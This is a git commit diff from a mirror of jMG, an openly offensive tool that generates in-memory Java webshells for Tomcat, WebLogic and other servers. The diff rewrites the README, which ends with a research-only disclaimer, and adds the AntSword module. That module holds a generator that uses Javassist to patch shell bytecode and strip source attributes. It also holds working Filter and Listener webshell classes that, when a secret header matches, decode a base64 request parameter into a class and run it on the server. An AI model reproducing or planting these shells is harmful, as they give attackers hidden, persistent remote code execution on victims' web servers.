mirror of
https://github.com/pen4uin/java-memshell-generator.git
synced 2026-09-22 01:30:43 +08:00
61快乐
This commit is contained in:
@@ -1,39 +1,65 @@
|
|||||||
# Java Memshell Generator
|
<h4 align="right"><strong><a href="jmg-docs/README_EN.md">English</a></strong> | 中文 </h4>
|
||||||
|
<p align="center">
|
||||||
|
<h1 align="center">Java Memshell Generator</h1>
|
||||||
|
<div align="center">
|
||||||
|
<img alt="GitHub watchers" src="https://img.shields.io/github/watchers/pen4uin/java-memshell-generator?style=flat-square">
|
||||||
|
<img alt="GitHub forks" src="https://img.shields.io/github/forks/pen4uin/java-memshell-generator?style=flat-square">
|
||||||
|
<img alt="GitLab Stars" src="https://img.shields.io/github/stars/pen4uin/java-memshell-generator.svg?style=flat-square">
|
||||||
|
</div>
|
||||||
|
<div align="center">一款支持高度自定义的 Java 内存马生成工具</div>
|
||||||
|
</p>
|
||||||
|
|
||||||
## 0x01 Introduce
|
<img src="./jmg-docs/img/gui.png" width="900px" />
|
||||||
|
|
||||||
**jMG (Java Memshell Generator)** 是一款支持高度自定义的 Java 内存马生成工具,提供常见中间件的内存马注入支持。
|
<br>
|
||||||
|
|
||||||
主要功能如下:
|
> [!WARNING]
|
||||||
- 支持的中间件和框架 (Tomcat/Resin/Jetty/WebLogic/WebSphere/Undertow/GlassFish/SpringMVC/SpringWebFlux)
|
> 本工具仅供安全研究和学习使用。使用者需自行承担因使用此工具产生的所有法律及相关责任。请确保你的行为符合当地的法律和规定。作者不承担任何责任。如不接受,请勿使用此工具。
|
||||||
- 支持的工具 (AntSword/Behinder/Godzilla/Suo5)
|
|
||||||
- 支持的内存马类型 (Filter/Listener/Interceptor/HandlerMethod)
|
|
||||||
- 支持的输出格式 (BASE64/BCEL/CLASS/JS/JSP/JAR/BIGINTEGER)
|
|
||||||
- 支持的辅助模块 (专项漏洞封装/表达式语句封装)
|
|
||||||
|
|
||||||
> 此工具仅限于安全研究和教学,用户承担因使用此工具而导致的所有法律和相关责任! 作者不承担任何法律和相关责任!
|
<br>
|
||||||
|
|
||||||
|
## 功能
|
||||||
|
|
||||||
## 0x02 Usage
|
| 中间件 | 框架 | 工具 (测试版本) | 内存马类型 | 输出格式 | 辅助模块 |
|
||||||
|
|-----------|---------------|------------------------------------------------------------------|---------------|------------|---------|
|
||||||
|
| Tomcat | SpringMVC | [AntSword](https://github.com/AntSwordProject/antSword) (2.1.15) | Listener | BASE64 | 专项漏洞封装 |
|
||||||
|
| Resin | SpringWebFlux | [Behinder](https://github.com/rebeyond/Behinder) (4.0.7) | Filter | BCEL | 表达式语句封装 |
|
||||||
|
| WebLogic | | [Godzilla](https://github.com/BeichenDream/Godzilla) (4.0.1) | Interceptor | BIGINTEGER | |
|
||||||
|
| Jetty | | [Neo-reGeorg](https://github.com/L-codes/Neo-reGeorg) (5.1.0) | HandlerMethod | CLASS | |
|
||||||
|
| WebSphere | | [Suo5](https://github.com/zema1/suo5) (0.9.0) | | JAR | |
|
||||||
|
| Undertow | | Custom | | JAR_AGENT | |
|
||||||
|
| GlassFish | | | | JS | |
|
||||||
|
| | | | | JSP | |
|
||||||
|
|
||||||
下载 jMG-GUI.jar 运行即可
|
## 编译
|
||||||
|
|
||||||

|
- maven
|
||||||
|
|
||||||
|
```shell
|
||||||
## 0x03 Reference
|
mvn package assembly:single
|
||||||
|
|
||||||
使用手册
|
|
||||||
- [jMG v1.0.4](https://mp.weixin.qq.com/s/oAiGWY9ABhn2o148snA_sg)
|
|
||||||
- [jMG v1.0.5](https://mp.weixin.qq.com/s/QjoRs_J5jVANrdEiiTtVtA)
|
|
||||||
- [jMG v1.0.6](https://mp.weixin.qq.com/s/0ZzH35aRUPelq8nwilMQiA)
|
|
||||||
- [jMG v1.0.8](https://mp.weixin.qq.com/s/HkceemQBtKJeWMBrMvUeXA)
|
|
||||||
|
|
||||||
参考项目
|
|
||||||
```
|
```
|
||||||
https://github.com/woodpecker-appstore/jexpr-encoder-utils
|
|
||||||
https://github.com/feihong-cs/memShell
|
- jmg-gui
|
||||||
https://github.com/su18/MemoryShell
|
|
||||||
https://github.com/BeichenDream/GodzillaMemoryShellProject
|
```shell
|
||||||
https://github.com/whwlsfb/cve-2022-22947-godzilla-memshell
|
java -jar ./jmg-gui/target/jmg-gui-1.0.8-jar-with-dependencies.jar
|
||||||
```
|
```
|
||||||
|
|
||||||
|
## 文档
|
||||||
|
|
||||||
|
- [jMG v1.0.8](https://9ex.org/jmg-1-0-8/)
|
||||||
|
- [jMG v1.0.6](https://9ex.org/jmg-1-0-6/)
|
||||||
|
- [jMG v1.0.5](https://9ex.org/jmg-1-0-5/)
|
||||||
|
- [jMG v1.0.4](https://9ex.org/jmg-1-0-4/)
|
||||||
|
|
||||||
|
## 致谢
|
||||||
|
|
||||||
|
- https://github.com/c0ny1
|
||||||
|
- https://github.com/whwlsfb
|
||||||
|
- https://github.com/feihong-cs/memShell
|
||||||
|
- https://github.com/su18/MemoryShell
|
||||||
|
- https://github.com/BeichenDream/GodzillaMemoryShellProject
|
||||||
|
|
||||||
|
## 协议
|
||||||
|
|
||||||
|
- 遵循 MIT 协议
|
||||||
BIN
Binary file not shown.
|
Before Width: | Height: | Size: 47 KiB |
-100
@@ -1,100 +0,0 @@
|
|||||||
<?xml version="1.0" encoding="utf-8"?>
|
|
||||||
<!-- Generator: Adobe Illustrator 22.0.0, SVG Export Plug-In . SVG Version: 6.00 Build 0) -->
|
|
||||||
<svg version="1.1" id="图层_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px"
|
|
||||||
viewBox="0 0 612 233.9" style="enable-background:new 0 0 612 233.9;" xml:space="preserve">
|
|
||||||
<style type="text/css">
|
|
||||||
.st0{fill:#144495;}
|
|
||||||
.st1{filter:url(#Adobe_OpacityMaskFilter);}
|
|
||||||
.st2{fill:url(#SVGID_2_);}
|
|
||||||
.st3{mask:url(#SVGID_1_);fill:#144495;}
|
|
||||||
</style>
|
|
||||||
<g>
|
|
||||||
<g>
|
|
||||||
<g>
|
|
||||||
<path class="st0" d="M184.2,125.1c4.5-10.8,7.5-23.3,8.6-37.3h-27.3v5.2h21c-0.9,9.6-2.8,17.6-5.7,25.4l-10.4-20.1l-5.1,2.3
|
|
||||||
l12.7,24.8c-3.9,8.6-9,16.4-14.9,23.3l4.5,3.4c5.1-6.2,9.8-13,13.5-20.5l7.5,14.4l5.2-2.4L184.2,125.1z"/>
|
|
||||||
<path class="st0" d="M203.8,90.8c0-1.7,1.9-3,3.8-3h22.5c1.9,0,3.3,1.3,3.3,3v39.7h6.1V90.8c0-4.7-4.4-8.2-9.4-8.2h-22.5
|
|
||||||
c-5,0-9,3.6-9,8.2v39.7h5.2V90.8z"/>
|
|
||||||
<path class="st0" d="M266,113.1h44.1c10.5,0,10.5-4.9,10.5-10.3V91.9c0-5.5,0-10.2-10.5-10.2H266c-10.8,0-10.8,4.8-10.8,10.2
|
|
||||||
v10.8C255.3,108.2,255.3,113.1,266,113.1z M261.4,91.9c0-2.6-0.1-5,4.7-5h44.1c5.3,0,5.3,2.4,5.3,5v2.9h-54.1V91.9z M261.4,100
|
|
||||||
h54.1v2.7c0,2.5-0.1,4.2-5.3,4.2H266c-4.7,0-4.7-1.7-4.7-4.2V100z"/>
|
|
||||||
<path class="st0" d="M291,148.9v-8.7h29.6v-5.2H291v-8.7h29.6V121H291v-6.1h-5.2v6.1h-24.1l1.5-5.4l-5.7-1.3l-3.4,11.9h31.7v8.7
|
|
||||||
h-31.4v5.2h31.4v8.7h-55.1c-2.7,0-5.1-2-5.1-4.6v-18.9h-5.7c0.7-3.5,1.3-6.9,1.3-11.2V95.7h-6.1v18.5c0,21-10.5,29.7-25.2,34.9
|
|
||||||
l2,5.1c13.9-5,24.9-12.5,27.6-28.6v18.6c0,5.5,5.3,9.9,11.2,9.9H325v-5.2H291z"/>
|
|
||||||
</g>
|
|
||||||
<path class="st0" d="M385.2,99.2v2.1c0,9.8-1.4,20.6-4.5,26.7h30.7v5.2h-24.6l25.8,16.2l-3.3,4.6l-32.2-20
|
|
||||||
c-8.1,10.4-21.8,15.9-41.3,19.8l-1.2-5.4c15.9-3.2,27.6-7.4,35-15.2h-34.1v-5.2h38.4c3.8-6.1,6.1-16.5,6.1-26.7v-2.1H385.2z
|
|
||||||
M376.5,81.7V87h23.9c5.9,0,11,4.1,11,9.5v3.5h-6.1v-3.5c0-2.5-2.1-4.3-4.9-4.3h-53c-2.8,0-5,1.8-5,4.3v3.5h-6.1v-3.5
|
|
||||||
c0-5.5,5.2-9.5,11.1-9.5h23.8v-5.2H376.5z M339,106.1h27.9v5.2H339V106.1z M339,116.6h27.9v6.1H339V116.6z"/>
|
|
||||||
<g>
|
|
||||||
<path class="st0" d="M441.2,114.9h-13.9l1.7-22.7l-5.8-0.3l-2,28.3h20c1.9,0,3.3,1.5,3.3,3.2v22.2c0,1.7-1.4,3.3-3.3,3.3h-10.6
|
|
||||||
v5.2h10.6c5.1,0,9.4-3.9,9.4-8.5v-22.2C450.6,118.7,446.2,114.9,441.2,114.9z"/>
|
|
||||||
<path class="st0" d="M457.6,108.8h33.9l1.7,3.7l5.4-2.2l-8.9-20.5c-2.1-4.6-5.4-7.2-11.1-7.2h-8.1c-5.8,0-9,2.5-11.1,7.2
|
|
||||||
l-8.9,20.6l5.3,2.2L457.6,108.8z M464.8,92.4c1-2.5,2.7-3.7,5.7-3.7h8.1c2.8,0,4.6,1.4,5.7,3.7l4.9,11.2h-29.3L464.8,92.4z"/>
|
|
||||||
<path class="st0" d="M443.6,90.3v22.8h6.1V90.3c0-4.7-4.4-8.5-9.6-8.5h-17.5V87h17.5C442,87,443.6,88.5,443.6,90.3z"/>
|
|
||||||
<rect x="420.1" y="132.3" class="st0" width="21.8" height="5.2"/>
|
|
||||||
<polygon class="st0" points="458.1,144.6 464,144 460.6,114.6 454.8,115.2 "/>
|
|
||||||
<path class="st0" d="M483.5,143.4l5.6,1.7c3.3-8.6,5.7-18.4,7-30l-5.8-0.6C489.1,125.9,486.7,135.3,483.5,143.4z"/>
|
|
||||||
<polygon class="st0" points="473.8,144.6 479.6,144 476.3,114.6 470.5,115.2 "/>
|
|
||||||
<path class="st0" d="M573,87h-24.8v-5.2h-6.1V87h-25.3c-5.9,0-10.4,4.7-10.4,10.1v3h5.2v-3c0-2.5,2.5-4.9,5.2-4.9H573
|
|
||||||
c2.7,0,4.9,2.4,4.9,4.9v3h6.1v-3C584,91.6,579,87,573,87z"/>
|
|
||||||
<path class="st0" d="M548.3,139.3h32.3V134h-32.3v-8.7h20.6c3.8,0,6.2-0.9,7.1-3.3c0.6-1.5-0.3-4.5-0.3-4.5l-2.6-8.7h-5.2
|
|
||||||
l2.2,8.3c0.2,0.4,0.3,0.9,0.2,1.4c-0.2,1.2-0.9,1.6-2.5,1.6h-45.3c-0.8,0-1.4-0.8-1.2-1.6l2.3-9.8h56.2v-5.2h-69.8v5.2h7.6
|
|
||||||
l-2.6,10.8c-0.7,2.9,1.5,5.8,4.5,5.8h22.7v8.7h-32.3v5.2h32.3v9.6h-35.7h-54.1v5.2h54.1h76.7v-5.2h-34.9V139.3z"/>
|
|
||||||
</g>
|
|
||||||
</g>
|
|
||||||
<path class="st0" d="M106.2,148.4c-30.3,0-54.9-24.6-54.9-54.9c0-16.4,7.2-31.2,18.6-41.2C50,60.5,36.1,80.1,36.1,103
|
|
||||||
c0,30.3,24.6,54.9,54.9,54.9c13.9,0,26.6-5.2,36.3-13.7C120.8,146.9,113.7,148.4,106.2,148.4z"/>
|
|
||||||
<defs>
|
|
||||||
<filter id="Adobe_OpacityMaskFilter" filterUnits="userSpaceOnUse" x="65.4" y="151.5" width="32.8" height="20.1">
|
|
||||||
<feFlood style="flood-color:white;flood-opacity:1" result="back"/>
|
|
||||||
<feBlend in="SourceGraphic" in2="back" mode="normal"/>
|
|
||||||
</filter>
|
|
||||||
</defs>
|
|
||||||
<mask maskUnits="userSpaceOnUse" x="65.4" y="151.5" width="32.8" height="20.1" id="SVGID_1_">
|
|
||||||
<g class="st1">
|
|
||||||
<linearGradient id="SVGID_2_" gradientUnits="userSpaceOnUse" x1="78.4262" y1="157.0465" x2="78.4262" y2="174.4841">
|
|
||||||
<stop offset="0" style="stop-color:#FFFFFF"/>
|
|
||||||
<stop offset="0.6266" style="stop-color:#000000"/>
|
|
||||||
</linearGradient>
|
|
||||||
<rect x="54.7" y="153.5" class="st2" width="47.5" height="26.4"/>
|
|
||||||
</g>
|
|
||||||
</mask>
|
|
||||||
<path class="st3" d="M70.5,156c-4,3.8-5.7,9.2-4.9,14.3c0.7-3,2.3-5.8,4.7-8.1c6.6-6.3,16.9-6,23.2,0.5c2.4,2.5,3.9,5.7,4.3,8.9
|
|
||||||
c1.2-5.2-0.1-10.9-4.1-15C87.4,150,77,149.8,70.5,156z"/>
|
|
||||||
<circle class="st0" cx="101" cy="87.7" r="4.3"/>
|
|
||||||
<circle class="st0" cx="139.8" cy="99.1" r="2.3"/>
|
|
||||||
<circle class="st0" cx="110.2" cy="104.8" r="2.3"/>
|
|
||||||
<circle class="st0" cx="117" cy="109.7" r="1.7"/>
|
|
||||||
<circle class="st0" cx="96.9" cy="75.9" r="1.7"/>
|
|
||||||
<circle class="st0" cx="119.3" cy="91.9" r="8.3"/>
|
|
||||||
<circle class="st0" cx="77.9" cy="80.1" r="6.4"/>
|
|
||||||
<circle class="st0" cx="128" cy="71.3" r="4.6"/>
|
|
||||||
<circle class="st0" cx="98.4" cy="64.9" r="5.6"/>
|
|
||||||
<circle class="st0" cx="128" cy="116.6" r="4.6"/>
|
|
||||||
<circle class="st0" cx="90" cy="108.6" r="6.7"/>
|
|
||||||
<circle class="st0" cx="107.1" cy="120.4" r="3.7"/>
|
|
||||||
|
|
||||||
<rect x="107.7" y="61.3" transform="matrix(0.7905 -0.6124 0.6124 0.7905 -25.2021 83.0611)" class="st0" width="2.3" height="34.1"/>
|
|
||||||
|
|
||||||
<rect x="108.8" y="80.4" transform="matrix(0.2234 -0.9747 0.9747 0.2234 -1.9557 177.0957)" class="st0" width="2.7" height="18.7"/>
|
|
||||||
|
|
||||||
<rect x="112.5" y="80.3" transform="matrix(0.3918 -0.9201 0.9201 0.3918 0.1236 163.3955)" class="st0" width="22.3" height="2.7"/>
|
|
||||||
|
|
||||||
<rect x="122.3" y="91.1" transform="matrix(0.9427 -0.3336 0.3336 0.9427 -27.6821 47.216)" class="st0" width="2.7" height="26.2"/>
|
|
||||||
|
|
||||||
<rect x="123.4" y="107.1" transform="matrix(0.5591 -0.8291 0.8291 0.5591 -30.3576 158.5684)" class="st0" width="21.1" height="1.5"/>
|
|
||||||
|
|
||||||
<rect x="106.9" y="117.7" transform="matrix(0.9839 -0.1787 0.1787 0.9839 -19.2791 22.9183)" class="st0" width="21.2" height="1.5"/>
|
|
||||||
|
|
||||||
<rect x="83.7" y="97" transform="matrix(0.4665 -0.8845 0.8845 0.4665 -35.8407 136.8488)" class="st0" width="23.6" height="2.3"/>
|
|
||||||
|
|
||||||
<rect x="88.1" y="71.7" transform="matrix(0.3116 -0.9502 0.9502 0.3116 -18.1309 142.744)" class="st0" width="2.7" height="24.4"/>
|
|
||||||
|
|
||||||
<rect x="89.8" y="106.1" transform="matrix(0.9826 -0.1856 0.1856 0.9826 -18.0609 20.428)" class="st0" width="20.5" height="1.1"/>
|
|
||||||
|
|
||||||
<rect x="113.2" y="103" transform="matrix(0.5708 -0.8211 0.8211 0.5708 -39.2419 139.2606)" class="st0" width="0.8" height="8.3"/>
|
|
||||||
|
|
||||||
<rect x="91.7" y="69.8" transform="matrix(0.1133 -0.9936 0.9936 0.1133 16.7537 159.089)" class="st0" width="11.6" height="0.8"/>
|
|
||||||
</g>
|
|
||||||
</svg>
|
|
||||||
|
Before Width: | Height: | Size: 6.6 KiB |
@@ -0,0 +1,21 @@
|
|||||||
|
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
|
||||||
|
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd">
|
||||||
|
<modelVersion>4.0.0</modelVersion>
|
||||||
|
<parent>
|
||||||
|
<groupId>jmg</groupId>
|
||||||
|
<artifactId>java-memshell-generator</artifactId>
|
||||||
|
<version>${revision}</version>
|
||||||
|
</parent>
|
||||||
|
<artifactId>jmg-antsword</artifactId>
|
||||||
|
|
||||||
|
|
||||||
|
<dependencies>
|
||||||
|
<dependency>
|
||||||
|
<groupId>jmg</groupId>
|
||||||
|
<artifactId>jmg-core</artifactId>
|
||||||
|
<version>${revision}</version>
|
||||||
|
<scope>compile</scope>
|
||||||
|
</dependency>
|
||||||
|
</dependencies>
|
||||||
|
|
||||||
|
</project>
|
||||||
@@ -0,0 +1,56 @@
|
|||||||
|
package jmg.antsword.generator;
|
||||||
|
|
||||||
|
import javassist.ClassClassPath;
|
||||||
|
import javassist.CtClass;
|
||||||
|
import jmg.core.config.AbstractConfig;
|
||||||
|
import jmg.core.config.Constants;
|
||||||
|
import jmg.core.generator.IShellGenerator;
|
||||||
|
import jmg.antsword.util.ShellUtil;
|
||||||
|
import jmg.core.util.CommonUtil;
|
||||||
|
import jmg.core.util.JavassistUtil;
|
||||||
|
import jmg.core.util.ResponseUtil;
|
||||||
|
public class AntSwordGenerator implements IShellGenerator {
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public void initShell(AbstractConfig config) {
|
||||||
|
if (config.getPass() == null) config.setPass(CommonUtil.genRandomLengthString(6));
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public byte[] makeShell(AbstractConfig config) throws Exception {
|
||||||
|
initShell(config);
|
||||||
|
String shellName = ShellUtil.getShellName(config.getToolType(), config.getShellType());
|
||||||
|
String shellClassName = ShellUtil.getShellClassName(shellName);
|
||||||
|
byte[] bytes = modifyShell(shellClassName, config);
|
||||||
|
config.setShellBytes(bytes);
|
||||||
|
config.setShellBytesLength(bytes.length);
|
||||||
|
config.setShellGzipBase64String(CommonUtil.encodeBase64(CommonUtil.gzipCompress(bytes)));
|
||||||
|
return bytes;
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public byte[] modifyShell(String className, AbstractConfig config) {
|
||||||
|
byte[] bytes = new byte[0];
|
||||||
|
try {
|
||||||
|
pool.insertClassPath(new ClassClassPath(AntSwordGenerator.class));
|
||||||
|
CtClass ctClass = pool.getCtClass(className);
|
||||||
|
ctClass.getClassFile().setVersionToJava5();
|
||||||
|
JavassistUtil.addFieldIfNotNull(ctClass, "pass", config.getPass());
|
||||||
|
JavassistUtil.addFieldIfNotNull(ctClass, "headerName", config.getHeaderName());
|
||||||
|
JavassistUtil.addFieldIfNotNull(ctClass, "headerValue", config.getHeaderValue());
|
||||||
|
JavassistUtil.setNameIfNotNull(ctClass, config.getShellClassName());
|
||||||
|
|
||||||
|
if (config.getShellType().equals(Constants.SHELL_LISTENER)) {
|
||||||
|
String methodBody = ResponseUtil.getMethodBody(config.getServerType());
|
||||||
|
JavassistUtil.addMethod(ctClass, "getResponseFromRequest", methodBody);
|
||||||
|
}
|
||||||
|
JavassistUtil.removeSourceFileAttribute(ctClass);
|
||||||
|
bytes = ctClass.toBytecode();
|
||||||
|
ctClass.detach();
|
||||||
|
} catch (Exception e) {
|
||||||
|
e.printStackTrace();
|
||||||
|
}
|
||||||
|
return bytes;
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
@@ -0,0 +1,57 @@
|
|||||||
|
package jmg.antsword.memshell;
|
||||||
|
|
||||||
|
import javax.servlet.*;
|
||||||
|
import javax.servlet.http.HttpServletRequest;
|
||||||
|
import javax.servlet.http.HttpServletResponse;
|
||||||
|
import java.io.IOException;
|
||||||
|
import java.lang.reflect.Method;
|
||||||
|
import java.net.URL;
|
||||||
|
import java.net.URLClassLoader;
|
||||||
|
|
||||||
|
public class AntSwordFilter implements Filter {
|
||||||
|
public String pass;
|
||||||
|
public String headerName;
|
||||||
|
public String headerValue;
|
||||||
|
|
||||||
|
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
|
||||||
|
HttpServletRequest request = (HttpServletRequest) servletRequest;
|
||||||
|
HttpServletResponse response = (HttpServletResponse) servletResponse;
|
||||||
|
try {
|
||||||
|
if (request.getHeader(this.headerName) != null && request.getHeader(this.headerName).contains(this.headerValue)) {
|
||||||
|
String cls = request.getParameter(pass);
|
||||||
|
if (cls != null) {
|
||||||
|
try {
|
||||||
|
byte[] data = doBase64Decode(cls);
|
||||||
|
URLClassLoader classLoader = new URLClassLoader(new URL[0], Thread.currentThread().getContextClassLoader());
|
||||||
|
Method method = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE);
|
||||||
|
method.setAccessible(true);
|
||||||
|
Class clazz = (Class) method.invoke(classLoader, data, new Integer(0), new Integer(data.length));
|
||||||
|
clazz.newInstance().equals(new Object[]{request, response});
|
||||||
|
} catch (Exception var7) {
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
filterChain.doFilter(servletRequest, servletResponse);
|
||||||
|
}
|
||||||
|
} catch (Exception e) {
|
||||||
|
filterChain.doFilter(servletRequest, servletResponse);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public byte[] doBase64Decode(String str) throws Exception {
|
||||||
|
try {
|
||||||
|
Class clazz = Class.forName("sun.misc.BASE64Decoder");
|
||||||
|
return (byte[]) ((byte[]) ((byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str)));
|
||||||
|
} catch (Exception var5) {
|
||||||
|
Class clazz = Class.forName("java.util.Base64");
|
||||||
|
Object decoder = clazz.getMethod("getDecoder").invoke((Object) null);
|
||||||
|
return (byte[]) ((byte[]) ((byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str)));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public void init(FilterConfig filterConfig) throws ServletException {
|
||||||
|
}
|
||||||
|
|
||||||
|
public void destroy() {
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,79 @@
|
|||||||
|
package jmg.antsword.memshell;
|
||||||
|
|
||||||
|
import javax.servlet.ServletRequestEvent;
|
||||||
|
import javax.servlet.ServletRequestListener;
|
||||||
|
import javax.servlet.http.HttpServletRequest;
|
||||||
|
import javax.servlet.http.HttpServletResponse;
|
||||||
|
import java.lang.reflect.Field;
|
||||||
|
import java.lang.reflect.Method;
|
||||||
|
import java.net.URL;
|
||||||
|
import java.net.URLClassLoader;
|
||||||
|
|
||||||
|
public class AntSwordListener implements ServletRequestListener {
|
||||||
|
public String pass;
|
||||||
|
public String headerName;
|
||||||
|
public String headerValue;
|
||||||
|
|
||||||
|
public void requestDestroyed(ServletRequestEvent servletRequestEvent) {
|
||||||
|
}
|
||||||
|
|
||||||
|
public void requestInitialized(ServletRequestEvent servletRequestEvent) {
|
||||||
|
HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest();
|
||||||
|
try {
|
||||||
|
HttpServletResponse response = getResponseFromRequest(request);
|
||||||
|
if (request.getHeader(this.headerName) != null && request.getHeader(this.headerName).contains(this.headerValue)) {
|
||||||
|
String cls = request.getParameter(pass);
|
||||||
|
if (cls != null) {
|
||||||
|
try {
|
||||||
|
byte[] data = base64Decode(cls);
|
||||||
|
URLClassLoader classLoader = new URLClassLoader(new URL[0], Thread.currentThread().getContextClassLoader());
|
||||||
|
Method method = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE);
|
||||||
|
method.setAccessible(true);
|
||||||
|
Class clazz = (Class) method.invoke(classLoader, data, new Integer(0), new Integer(data.length));
|
||||||
|
clazz.newInstance().equals(new Object[]{request, response});
|
||||||
|
} catch (Exception var7) {
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private HttpServletResponse getResponseFromRequest(HttpServletRequest var1) throws Exception {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
|
private static synchronized Object getFV(Object var0, String var1) throws Exception {
|
||||||
|
Field var2 = null;
|
||||||
|
Class var3 = var0.getClass();
|
||||||
|
|
||||||
|
while (var3 != Object.class) {
|
||||||
|
try {
|
||||||
|
var2 = var3.getDeclaredField(var1);
|
||||||
|
break;
|
||||||
|
} catch (NoSuchFieldException var5) {
|
||||||
|
var3 = var3.getSuperclass();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if (var2 == null) {
|
||||||
|
throw new NoSuchFieldException(var1);
|
||||||
|
} else {
|
||||||
|
var2.setAccessible(true);
|
||||||
|
return var2.get(var0);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public byte[] base64Decode(String str) throws Exception {
|
||||||
|
try {
|
||||||
|
Class clazz = Class.forName("sun.misc.BASE64Decoder");
|
||||||
|
return (byte[]) ((byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str));
|
||||||
|
} catch (Exception var5) {
|
||||||
|
Class clazz = Class.forName("java.util.Base64");
|
||||||
|
Object decoder = clazz.getMethod("getDecoder").invoke((Object) null);
|
||||||
|
return (byte[]) ((byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
@@ -0,0 +1,41 @@
|
|||||||
|
package jmg.antsword.util;
|
||||||
|
|
||||||
|
import jmg.antsword.memshell.AntSwordFilter;
|
||||||
|
import jmg.antsword.memshell.AntSwordListener;
|
||||||
|
import jmg.core.config.Constants;
|
||||||
|
|
||||||
|
import java.util.HashMap;
|
||||||
|
import java.util.Map;
|
||||||
|
|
||||||
|
public class ShellUtil {
|
||||||
|
|
||||||
|
private static final Map<String, String> SHELL_CLASSNAME_MAP = new HashMap();
|
||||||
|
private static final Map<String, Map<String, String>> toolMap = new HashMap();
|
||||||
|
|
||||||
|
public ShellUtil() {
|
||||||
|
}
|
||||||
|
|
||||||
|
public static String getShellName(String toolType, String shellType) {
|
||||||
|
Map<String, String> shellMap = toolMap.get(toolType);
|
||||||
|
return shellMap == null ? "" : shellMap.getOrDefault(shellType, "");
|
||||||
|
}
|
||||||
|
|
||||||
|
public static String getShellClassName(String shellName) throws Exception {
|
||||||
|
if (SHELL_CLASSNAME_MAP.get(shellName) == null) {
|
||||||
|
throw new Exception("Invalid shell type '" + shellName + "'");
|
||||||
|
} else {
|
||||||
|
return SHELL_CLASSNAME_MAP.getOrDefault(shellName, "");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
static {
|
||||||
|
SHELL_CLASSNAME_MAP.put(AntSwordListener.class.getSimpleName(), AntSwordListener.class.getName());
|
||||||
|
SHELL_CLASSNAME_MAP.put(AntSwordFilter.class.getSimpleName(), AntSwordFilter.class.getName());
|
||||||
|
Map<String, String> antSwordMap = new HashMap();
|
||||||
|
antSwordMap.put(Constants.SHELL_FILTER,AntSwordFilter.class.getSimpleName());
|
||||||
|
antSwordMap.put(Constants.SHELL_LISTENER, AntSwordListener.class.getSimpleName());
|
||||||
|
toolMap.put(Constants.TOOL_ANTSWORD, antSwordMap);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
}
|
||||||
@@ -0,0 +1,21 @@
|
|||||||
|
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
|
||||||
|
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd">
|
||||||
|
<modelVersion>4.0.0</modelVersion>
|
||||||
|
<parent>
|
||||||
|
<groupId>jmg</groupId>
|
||||||
|
<artifactId>java-memshell-generator</artifactId>
|
||||||
|
<version>${revision}</version>
|
||||||
|
</parent>
|
||||||
|
<artifactId>jmg-behinder</artifactId>
|
||||||
|
|
||||||
|
|
||||||
|
<dependencies>
|
||||||
|
<dependency>
|
||||||
|
<groupId>jmg</groupId>
|
||||||
|
<artifactId>jmg-core</artifactId>
|
||||||
|
<version>${revision}</version>
|
||||||
|
<scope>compile</scope>
|
||||||
|
</dependency>
|
||||||
|
</dependencies>
|
||||||
|
|
||||||
|
</project>
|
||||||
@@ -0,0 +1,56 @@
|
|||||||
|
package jmg.behinder.generator;
|
||||||
|
|
||||||
|
import javassist.ClassClassPath;
|
||||||
|
import javassist.CtClass;
|
||||||
|
import jmg.behinder.util.ShellUtil;
|
||||||
|
import jmg.core.config.AbstractConfig;
|
||||||
|
import jmg.core.config.Constants;
|
||||||
|
import jmg.core.generator.IShellGenerator;
|
||||||
|
import jmg.core.util.CommonUtil;
|
||||||
|
import jmg.core.util.JavassistUtil;
|
||||||
|
import jmg.core.util.ResponseUtil;
|
||||||
|
|
||||||
|
public class BehinderGenerator implements IShellGenerator {
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public void initShell(AbstractConfig config) {
|
||||||
|
if (config.getPass() == null) config.setPass(CommonUtil.genRandomLengthString(6));
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public byte[] makeShell(AbstractConfig config) throws Exception {
|
||||||
|
initShell(config);
|
||||||
|
String shellName = ShellUtil.getShellName(config.getToolType(), config.getShellType());
|
||||||
|
String shellClassName = ShellUtil.getShellClassName(shellName);
|
||||||
|
byte[] bytes = modifyShell(shellClassName, config);
|
||||||
|
config.setShellBytes(bytes);
|
||||||
|
config.setShellBytesLength(bytes.length);
|
